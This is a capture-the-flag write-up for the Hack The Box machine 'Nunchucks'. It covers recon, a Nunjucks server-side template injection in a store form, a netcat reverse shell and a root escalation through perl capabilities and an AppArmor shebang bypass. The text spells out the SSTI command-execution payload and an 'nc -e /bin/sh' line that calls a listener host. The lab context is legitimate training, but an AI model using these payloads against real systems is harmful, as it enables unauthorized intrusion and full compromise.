# Nunchucks

**Date**: 04/07/2022

**Difficulty**: Easy

**CTF**: <https://app.hackthebox.com/machines/Nunchucks>

***

Let’s test the connection with the target machine:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-8a5a08e7856b8ac1ef2980548d3239b94f05c93c%2Fnunchucks0.png?alt=media" alt=""><figcaption></figcaption></figure>

We have received back the ping, so we have connection. Let’s scan the TCP ports of the target machine using nmap:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-61cbb7941e6d2a4a7abab72d54eff1014f8e0fd3%2Fnunchucks1.png?alt=media" alt=""><figcaption></figcaption></figure>

3 open ports: 22 (ssh), 80 (http), 443 (https). Let’s scan them further:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-f13aa56ab1691ddfd1390abc98ad1ffdca906b79%2Fnunchucks2.png?alt=media" alt=""><figcaption></figcaption></figure>

Apparently the website hosted in the port 80, redirects us to <https://nunchucks.htb/>. Also, the ssl certificate and the DNS of the https service also reveals the domain name, so it seems like is applying virtual hosting. Let’s add this domain to the /etc/hosts file:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-fb7d8aa0f251bdf1295fb40454c36ee24c07e244%2Fnunchucks3.png?alt=media" alt=""><figcaption></figcaption></figure>

Let’s inspect the website using whatweb:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-6f04613b408591fd393b91b50dd45b4f013e60ad%2Fnunchucks4.png?alt=media" alt=""><figcaption></figcaption></figure>

At least now it resolves. Let’s see how it looks using the web browser:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-053e26234b5b1b9679c935d0c8a9ee1b5374e59c%2Fnunchucks5.png?alt=media" alt=""><figcaption></figcaption></figure>

Seems like a normal page… Let’s click on the upper left Nunchucks image:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-d807002940f31ec83e574eb467124b4348e480ec%2Fnunchucks6.png?alt=media" alt=""><figcaption></figcaption></figure>

It opens a index.html page that says that the page doesnt exist. Weird.

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-70c7131f9e7953914391ac737127e8bb299d3c0c%2Fnunchucks7.png?alt=media" alt=""><figcaption></figcaption></figure>

We also have a signup form

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-a9ae32c5759dc2380f38ee0002192e1004835afb%2Fnunchucks8.png?alt=media" alt=""><figcaption></figcaption></figure>

and a login form

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-bdb5ef825b700fd10dcc5f9a8fb505b5c93b37a9%2Fnunchucks9.png?alt=media" alt=""><figcaption></figcaption></figure>

Also, the website is setting a cookie called `_csrf` nice name, this kind of cookies are usually used to prevent CSRF attacks.

Let’s start testing the login form agains sqli:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-26b644b14fcf8ce563781d316f3138c9609abfef%2Fnunchucks10.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-39a09cabced2810e3c1145a87f3fac57d36f337d%2Fnunchucks11.png?alt=media" alt=""><figcaption></figcaption></figure>

Uh… user logins are disabled. Let’s try then to sign up:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-c862c727f5b0572fddadce0deb771d4e797a7a61%2Fnunchucks12.png?alt=media" alt=""><figcaption></figcaption></figure>

Ooookay… so no login and no signup.

Anyway the form is sending the information. Maybe if we have a valid cookie the system will allow us to log in?

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-0eb61e9c591a0c570481dea4c2174d72ecabe5bc%2Fnunchucks13.png?alt=media" alt=""><figcaption></figcaption></figure>

Let’s take a look to the website again:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-3a66e68602ddc06cce71fb223cfb1fc605e8828f%2Fnunchucks14.png?alt=media" alt=""><figcaption></figcaption></figure>

There is a support email in the footer of the website. Let’s note it, maybe it will be useful…

Let’s enumerate the directories of the website:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-3cbbbf91248ec92241c8379a29be5c8d91bc51cf%2Fnunchucks15.png?alt=media" alt=""><figcaption></figcaption></figure>

Maybe we can look for subdomains:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-194c8715b98268e83a45d23ed0fd0440b6e43b9b%2Fnunchucks16.png?alt=media" alt=""><figcaption></figcaption></figure>

wfuzz discovered the `store` subdomain, let’s add it to the /etc/hosts file

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-038bdad4994ff3e4941c956fde4514d0df99b31e%2Fnunchucks17.png?alt=media" alt=""><figcaption></figcaption></figure>

And now let’s visit the subdomain:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-365258a57c24b529fcae65b89ba56f6c5e87f481%2Fnunchucks18.png?alt=media" alt=""><figcaption></figcaption></figure>

There is nothing else here but a form… Let’s use it:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-7e8d926a358010d852ac8231fdf5456318b219f1%2Fnunchucks19.png?alt=media" alt=""><figcaption></figcaption></figure>

Mmmm… it includes the mail that I entered in the webpage. Maybe this page is vulnerable to SSTI? Let’s check it:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-932e8ba495693af79a2ae9093fe67bcdaa81a911%2Fnunchucks20.png?alt=media" alt=""><figcaption></figcaption></figure>

Yep, it is.

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-46eb782494fefccf40eda3bd05e8baa84db6348c%2Fnunchucks21.png?alt=media" alt=""><figcaption></figcaption></figure>

NUNJUCKS sound pretty similar to Nunchucks, let’s start with this:

`{{range.constructor("return global.process.mainModule.require('child_process').execSync('COMMAND_WE_WANT_TO_EXECUTE')")()}}`

but adding backslashes to escape double quotes and using burpsuite to bypass the email format check:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-ef4479f9caa5f281e9493ef1ef7a6edc40d06b2b%2Fnunchucks22.png?alt=media" alt=""><figcaption></figcaption></figure>

Let’s try to see the passwd file:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-8b2ba582ac9a3ecdd8c3462b8619f81a3530c1e7%2Fnunchucks23.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-e0658f7b29054b7826b1023ed67fa3c408932d7d%2Fnunchucks24.png?alt=media" alt=""><figcaption></figcaption></figure>

Let’s look inside the home folder of david, we may find ssh credentials or something useful:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-7904f2270926c039ca7ebbdd68ce0cfe1d49ee84%2Fnunchucks25.png?alt=media" alt=""><figcaption></figcaption></figure>

Ok, there is no .ssh folder, but we can see the user.txt flag:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-e614b391b991bcdf164a43a5107d6aab6dda8888%2Fnunchucks26.png?alt=media" alt=""><figcaption></figcaption></figure>

Ok, we managed to get the user flag, but we have to access to the target machine. Let’s find a way to establish a reverse shell…

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-2e46debf0ffd55eaf4f6c1b535521ee6303418ab%2Fnunchucks27.png?alt=media" alt=""><figcaption></figcaption></figure>

ok, the target machine has netcat installed, let’s try a simple `nc -e /bin/sh 10.10.10.10 1234`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-755c563ea1fb5cd6fa3829e00f36076a37f10656%2Fnunchucks28.png?alt=media" alt=""><figcaption></figcaption></figure>

Bad Gateway… something doesn’t work… what if we encode the command in base64 and send it this way?

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-53aaaecfe4313bed43ea4dd2990dd904e37e342e%2Fnunchucks29.png?alt=media" alt=""><figcaption></figcaption></figure>

It worked, nice. Let’s stabilize the tty:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-515f172c92425f01623fc0a523934dce2b76f689%2Fnunchucks30.png?alt=media" alt=""><figcaption></figcaption></figure>

Ok, now let’s find a way to escalate privileges. Let’s start looking for SUID files:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-b7e6e39b0a214d18e6dda463c85d30af202b35ee%2Fnunchucks31.png?alt=media" alt=""><figcaption></figcaption></figure>

Nothing useful. Let’s see if there is any binary with capabilities:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-e9d2fe7b371af034c402aa115e9f3ae800f188cc%2Fnunchucks32.png?alt=media" alt=""><figcaption></figcaption></figure>

Uh, perl has a `setsuid` capability… And it appears in GTFO Bins as something we can take advance of to escalate to root:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-a452e997c278a187d44a17e6e96cab98089170e5%2Fnunchucks33.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-33f372cc4c05d6949ce64d9f493d7f4d114160b1%2Fnunchucks34.png?alt=media" alt=""><figcaption></figcaption></figure>

I tried it. I tried a lot of things but nothing happened:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-1a3cb3605cb0b469d5fca493aecc116bc2f0f982%2Fnunchucks35.png?alt=media" alt=""><figcaption></figcaption></figure>

Apparently I had to discover this:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-2c3915adebf66dab31501a038cb492261fc1d04e%2Fnunchucks36.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-edc7d00e3739d093a6cef49e5f5c751e1bf77010%2Fnunchucks37.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-c9016cce09d2f99db97249dc31047ff7918cb761%2Fnunchucks38.png?alt=media" alt=""><figcaption></figcaption></figure>

What is inside /opt/backup.pl?

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-994d6c08acf87c298eb06464c971b03078fb6544%2Fnunchucks39.png?alt=media" alt=""><figcaption></figcaption></figure>

Is a perl script. Let’s execute it:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-fd48f8b031f84bc08283447c32baf52c196c8094%2Fnunchucks40.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-f25f211df7fe74a7b65f049344f29adecf283fa6%2Fnunchucks41.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-63f5c4f49683ec0f220970c603261d5cac90a91c%2Fnunchucks42.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-63ce9a9e9e825c90c1ad68f54d3080e384857790%2Fnunchucks43.png?alt=media" alt=""><figcaption></figcaption></figure>

Nothing useful there. Let’s investigate a little bit more about AppArmor:

Looking for bugs and vulns I found this one:

[Bug #1911431 "Unable to prevent execution of shebang lines" : Bugs : AppArmor](https://bugs.launchpad.net/apparmor/+bug/1911431)

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-8627ad051342f13de3c3ebd1f54bdccb901bc6a4%2Fnunchucks44.png?alt=media" alt=""><figcaption></figcaption></figure>

it says that if we create a script with the shebang of the restricted application, it will ignore the restrictions. Let’s try it!

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-15f07da314bc91f47d984313bc4061009c466302%2Fnunchucks45.png?alt=media" alt=""><figcaption></figcaption></figure>

And now, let’s execute it:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-064b6ce1422407a012d18ec14039ba554a19f4e7%2Fnunchucks46.png?alt=media" alt=""><figcaption></figcaption></figure>

And that’s how we became root. Pretty interesting.
